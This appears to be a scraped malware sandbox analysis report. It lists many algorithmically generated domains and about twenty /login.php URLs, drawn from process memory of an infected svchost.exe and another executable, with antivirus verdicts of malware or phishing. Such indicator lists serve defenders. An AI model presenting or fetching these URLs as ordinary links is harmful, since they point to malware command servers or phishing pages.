                                                                                                      		unknowntrue
                                                                                                        		unknown
                                                                                                        gahykeb.com
                                                                                                        		unknown
                                                                                                        		unknowntrue
                                                                                                          		unknown
                                                                                                          purymog.com
                                                                                                          		unknown
                                                                                                          		unknowntrue
                                                                                                            		unknown
                                                                                                            gadyzib.com
                                                                                                            		unknown
                                                                                                            		unknowntrue
                                                                                                              		unknown
                                                                                                              ganyqow.com
                                                                                                              		unknown
                                                                                                              		unknowntrue
                                                                                                                		unknown
                                                                                                                lyxysun.com
                                                                                                                		unknown
                                                                                                                		unknowntrue
                                                                                                                  		unknown
                                                                                                                  puzyjyg.com
                                                                                                                  		unknown
                                                                                                                  		unknowntrue
                                                                                                                    		unknown
                                                                                                                    vopydek.com
                                                                                                                    		unknown
                                                                                                                    		unknowntrue
                                                                                                                      		unknown
                                                                                                                      qexyfuq.com
                                                                                                                      		unknown
                                                                                                                      		unknowntrue
                                                                                                                        		unknown
                                                                                                                        gatykyh.com
                                                                                                                        		unknown
                                                                                                                        		unknowntrue
                                                                                                                          		unknown
                                                                                                                          vocykem.com
                                                                                                                          		unknown
                                                                                                                          		unknowntrue
                                                                                                                            		unknown
                                                                                                                            gahynus.com
                                                                                                                            		unknown
                                                                                                                            		unknowntrue
                                                                                                                              		unknown
                                                                                                                              pumypop.com
                                                                                                                              		unknown
                                                                                                                              		unknowntrue
                                                                                                                                		unknown
                                                                                                                                lyvysur.com
                                                                                                                                		unknown
                                                                                                                                		unknowntrue
                                                                                                                                  		unknown
                                                                                                                                  puzypav.com
                                                                                                                                  		unknown
                                                                                                                                  		unknowntrue
                                                                                                                                    		unknown
                                                                                                                                    galypob.com
                                                                                                                                    		unknown
                                                                                                                                    		unknowntrue
                                                                                                                                      		unknown
                                                                                                                                      gacyqoz.com
                                                                                                                                      		unknown
                                                                                                                                      		unknowntrue
                                                                                                                                        		unknown
                                                                                                                                        lykywid.com
                                                                                                                                        		unknown
                                                                                                                                        		unknowntrue
                                                                                                                                          		unknown
                                                                                                                                          lykytin.com
                                                                                                                                          		unknown
                                                                                                                                          		unknowntrue
                                                                                                                                            		unknown
                                                                                                                                            vofyref.com
                                                                                                                                            		unknown
                                                                                                                                            		unknowntrue
                                                                                                                                              		unknown
                                                                                                                                              qekytig.com
                                                                                                                                              		unknown
                                                                                                                                              		unknowntrue
                                                                                                                                                		unknown
                                                                                                                                                vocyzek.com
                                                                                                                                                		unknown
                                                                                                                                                		unknowntrue
                                                                                                                                                  		unknown
                                                                                                                                                  puvypoq.com
                                                                                                                                                  		unknown
                                                                                                                                                  		unknowntrue
                                                                                                                                                    		unknown
                                                                                                                                                    puvybeg.com
                                                                                                                                                    		unknown
                                                                                                                                                    		unknowntrue
                                                                                                                                                      		unknown
                                                                                                                                                      pupydig.com
                                                                                                                                                      		unknown
                                                                                                                                                      		unknowntrue
                                                                                                                                                        		unknown
                                                                                                                                                        pupyguq.com
                                                                                                                                                        		unknown
                                                                                                                                                        		unknowntrue
                                                                                                                                                          		unknown
                                                                                                                                                          qedyqal.com
                                                                                                                                                          		unknown
                                                                                                                                                          		unknowntrue
                                                                                                                                                            		unknown
                                                                                                                                                            vowymom.com
                                                                                                                                                            		unknown
                                                                                                                                                            		unknowntrue
                                                                                                                                                              		unknown
                                                                                                                                                              purypol.com
                                                                                                                                                              		unknown
                                                                                                                                                              		unknowntrue
                                                                                                                                                                		unknown
                                                                                                                                                                ganypeb.com
                                                                                                                                                                		unknown
                                                                                                                                                                		unknowntrue
                                                                                                                                                                  		unknown
                                                                                                                                                                  vopymit.com
                                                                                                                                                                  		unknown
                                                                                                                                                                  		unknowntrue
                                                                                                                                                                    		unknown
                                                                                                                                                                    vowyguf.com
                                                                                                                                                                    		unknown
                                                                                                                                                                    		unknowntrue
                                                                                                                                                                      		unknown
                                                                                                                                                                      pupytiq.com
                                                                                                                                                                      		unknown
                                                                                                                                                                      		unknowntrue
                                                                                                                                                                        		unknown
                                                                                                                                                                        lymyfoj.com
                                                                                                                                                                        		unknown
                                                                                                                                                                        		unknowntrue
                                                                                                                                                                          		unknown
                                                                                                                                                                          vowyzuf.com
                                                                                                                                                                          		unknown
                                                                                                                                                                          		unknowntrue
                                                                                                                                                                            		unknown
                                                                                                                                                                            gatyruw.com
                                                                                                                                                                            		unknown
                                                                                                                                                                            		unknowntrue
                                                                                                                                                                              		unknown
                                                                                                                                                                              qebynyg.com
                                                                                                                                                                              		unknown
                                                                                                                                                                              		unknowntrue
                                                                                                                                                                                		unknown
                                                                                                                                                                                puzymev.com
                                                                                                                                                                                		unknown
                                                                                                                                                                                		unknowntrue
                                                                                                                                                                                  		unknown
                                                                                                                                                                                  pupymol.com
                                                                                                                                                                                  		unknown
                                                                                                                                                                                  		unknowntrue
                                                                                                                                                                                    		unknown
                                                                                                                                                                                    vojycif.com
                                                                                                                                                                                    		unknown
                                                                                                                                                                                    		unknowntrue
                                                                                                                                                                                      		unknown
                                                                                                                                                                                      qebyvyl.com
                                                                                                                                                                                      		unknown
                                                                                                                                                                                      		unknowntrue
                                                                                                                                                                                        		unknown
                                                                                                                                                                                        lymysan.com
                                                                                                                                                                                        		unknown
                                                                                                                                                                                        		unknowntrue
                                                                                                                                                                                          		unknown
                                                                                                                                                                                          qekynuq.com
                                                                                                                                                                                          		unknown
                                                                                                                                                                                          		unknowntrue
                                                                                                                                                                                            		unknown
                                                                                                                                                                                            puryjil.com
                                                                                                                                                                                            		unknown
                                                                                                                                                                                            		unknowntrue
                                                                                                                                                                                              		unknown
                                                                                                                                                                                              puvytuv.com
                                                                                                                                                                                              		unknown
                                                                                                                                                                                              		unknowntrue
                                                                                                                                                                                                		unknown
                                                                                                                                                                                                galyzus.com
                                                                                                                                                                                                		unknown
                                                                                                                                                                                                		unknowntrue
                                                                                                                                                                                                  		unknown
                                                                                                                                                                                                  gadyfuh.com
                                                                                                                                                                                                  		unknown
                                                                                                                                                                                                  		unknowntrue
                                                                                                                                                                                                    		unknown
                                                                                                                                                                                                    vofycyk.com
                                                                                                                                                                                                    		unknown
                                                                                                                                                                                                    		unknowntrue
                                                                                                                                                                                                      		unknown
                                                                                                                                                                                                      lyxywer.com
                                                                                                                                                                                                      		unknown
                                                                                                                                                                                                      		unknowntrue
                                                                                                                                                                                                        		unknown
                                                                                                                                                                                                        vojymuk.com
                                                                                                                                                                                                        		unknown
                                                                                                                                                                                                        		unknowntrue
                                                                                                                                                                                                          		unknown

                                                                                                                                                                                                          Contacted URLs

                                                                                                                                                                                                          NameMaliciousAntivirus DetectionReputation
                                                                                                                                                                                                          https://puzylyp.com/login.phptrue
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://galyqaz.com/login.phptrue
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown

                                                                                                                                                                                                          URLs from Memory and Binaries

                                                                                                                                                                                                          NameSourceMaliciousAntivirus DetectionReputation
                                                                                                                                                                                                          http://volyjym.com/login.phpsvchost.exe, 00000002.00000003.2588418708.00000000087AB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2334498126.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2592000281.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2334047161.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337179930.00000000086F9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332145984.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332778027.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2333419776.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2334800958.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2610879120.00000000033D8000.00000004.00000020.00020000.00000000.sdmptrue
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://purymuq.com/login.phpsvchost.exe, 00000002.00000003.2301052009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2303334009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2553968961.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2552314103.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2558551911.0000000000882000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2300434955.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2557483842.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2303458885.0000000008682000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2558367053.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2307697997.0000000003394000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2307211585.0000000008682000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2556984027.00000000086F6000.00000004.00000020.00020000.00000000.sdmptrue
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://vopycom.com/login.phpsvchost.exe, 00000002.00000003.2194039895.000000000865C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2432573037.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2503287920.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3344516796.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2502622128.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3393093066.0000000003339000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3388007673.0000000000884000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3347214715.00000000008FA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3404121983.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3404003407.0000000008783000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2513112023.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3341799100.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2202332641.00000000033D9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2432700162.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2194197284.0000000008691000.00000004.00000020.00020000.00000000.sdmptrue
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://vofybic.com/login.phpsvchost.exe, 00000002.00000003.2588418708.00000000087AB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2334498126.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2334047161.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337179930.00000000086F9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332145984.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2593211279.00000000087FC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332778027.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2333419776.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2334800958.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2610879120.00000000033D8000.00000004.00000020.00020000.00000000.sdmptrue
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://vojyzyt.com/login.phpsvchost.exe, 00000002.00000003.2301052009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2303334009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2553968961.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2552314103.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2300434955.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2557483842.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2307697997.0000000003394000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2556984027.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2301364243.00000000033D8000.00000004.00000020.00020000.00000000.sdmptrue
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://lyryxen.com/login.phpsvchost.exe, 00000002.00000003.2588418708.00000000087AB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2334498126.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2334047161.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332552292.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337179930.00000000086F9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332145984.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337011719.0000000003394000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2334800958.00000000086F6000.00000004.00000020.00020000.00000000.sdmptrue
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://lyxyvyn.com/login.phpsvchost.exe, 00000002.00000003.2357365639.00000000087B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353785619.000000000878B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2760246399.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2752639627.00000000086F5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352296383.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2744373638.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353676961.000000000878B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2748851196.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2749199124.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2759913760.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2745079929.0000000008783000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352873601.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2738837414.0000000008783000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352880774.000000000878B000.00000004.00000020.00020000.00000000.sdmptrue
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://www.google.comtorsvchost.exe, 00000002.00000003.2332778027.0000000008726000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332145984.0000000008726000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2367567062.0000000008726000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: safe
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://puzylyp.com/login.phpsvchost.exe, 00000002.00000003.2432573037.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3383219866.0000000000812000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3302424542.0000000000893000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3267140420.0000000000884000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2396823285.00000000033D9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2397700563.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2155150601.0000000003393000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2434703123.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2394995795.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2524832364.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2152199201.000000000338F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2434123780.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2393071613.0000000003385000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2432700162.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, NcYLgtXIKJgHj.exe, 00000006.00000002.2670340730.0000000009356000.00000004.00000001.00020000.00000000.sdmp, NcYLgtXIKJgHj.exe, 00000016.00000002.2606731229.0000000000658000.00000004.00000020.00020000.00000000.sdmp, NcYLgtXIKJgHj.exe, 0000001F.00000002.2746386835.0000000008E3C000.00000004.00000001.00020000.00000000.sdmp, NcYLgtXIKJgHj.exe, 0000001F.00000002.2695589851.0000000000CAA000.00000004.00000020.00020000.00000000.sdmp, NcYLgtXIKJgHj.exe, 0000001F.00000002.2746386835.0000000008E37000.00000004.00000001.00020000.00000000.sdmp, NcYLgtXIKJgHj.exe, 0000001F.00000002.2746386835.0000000008E05000.00000004.00000001.00020000.00000000.sdmp, NcYLgtXIKJgHj.exe, 0000001F.00000002.2695589851.0000000000D1C000.00000004.00000020.00020000.00000000.sdmptrue
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://vojyjyc.com/login.phpsvchost.exe, 00000002.00000003.2582588416.00000000087AB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328737400.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2329748670.0000000003393000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328737400.00000000086F5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328002527.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326381294.00000000086F0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326465693.00000000086F1000.00000004.00000020.00020000.00000000.sdmptrue
                                                                                                                                                                                                          • Avira URL Cloud: phishing
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://galyvuz.com/login.phpsvchost.exe, 00000002.00000003.2671509523.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349866379.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349127281.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2350047450.00000000087B0000.00000004.00000020.00020000.00000000.sdmptrue
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://ganyzub.com/login.phpsvchost.exe, 00000002.00000003.2432573037.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3401901735.0000000008633000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3284179552.000000000865C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2433469264.000000000868F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2430808473.000000000868F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3402132488.000000000865C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3268596550.000000000865C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3246499612.000000000865C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3388007673.0000000000884000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2548643584.0000000008691000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3404121983.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3341799100.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2527269285.0000000008691000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2541435217.0000000008691000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2432700162.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3302596386.000000000865D000.00000004.00000020.00020000.00000000.sdmptrue
                                                                                                                                                                                                          • Avira URL Cloud: phishing
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://vowyrif.com/login.phpsvchost.exe, 00000002.00000003.2347368990.0000000008682000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2628718282.00000000087AE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2640219450.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2635696281.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347564818.00000000033D9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2638579923.00000000087B0000.00000004.00000020.00020000.00000000.sdmptrue
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://qexynyq.com/login.phpsvchost.exe, 00000002.00000003.2796055638.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3393093066.0000000003339000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3267123963.0000000003347000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2793841550.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2384104652.00000000087B0000.00000004.00000020.00020000.00000000.sdmptrue
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://lygyxun.com/login.phpsvchost.exe, 00000002.00000003.2763334143.00000000086EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2550145927.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2297525559.00000000008F8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2553968961.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2760246399.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2592000281.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2552314103.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3403450959.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2557483842.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3265760525.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2752639627.00000000086F5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296551987.0000000008691000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2771121340.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2744373638.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296517767.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2549686862.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670315739.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670012329.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2748851196.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2548641598.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2749199124.00000000086F2000.00000004.00000020.00020000.00000000.sdmptrue
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://galydyw.com/svchost.exe, 00000002.00000003.2681961070.000000000866F000.00000004.00000020.00020000.00000000.sdmptrue
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://lyryman.com/login.phpsvchost.exe, 00000002.00000003.2357365639.00000000087B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2359008557.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2354372156.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352296383.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353331404.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352299692.00000000086EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353878040.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352873601.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352879533.00000000086FE000.00000004.00000020.00020000.00000000.sdmptrue
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://gadykos.com/login.phpsvchost.exe, 00000002.00000003.2301052009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2303334009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2553968961.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2552314103.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2300434955.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2557483842.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2307697997.0000000003394000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2556984027.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2301364243.00000000033D8000.00000004.00000020.00020000.00000000.sdmptrue
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://qexyfuq.com/login.phpsvchost.exe, 00000002.00000003.2671509523.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2672088553.0000000008785000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349866379.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349127281.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2350047450.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2738837414.0000000008783000.00000004.00000020.00020000.00000000.sdmptrue
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
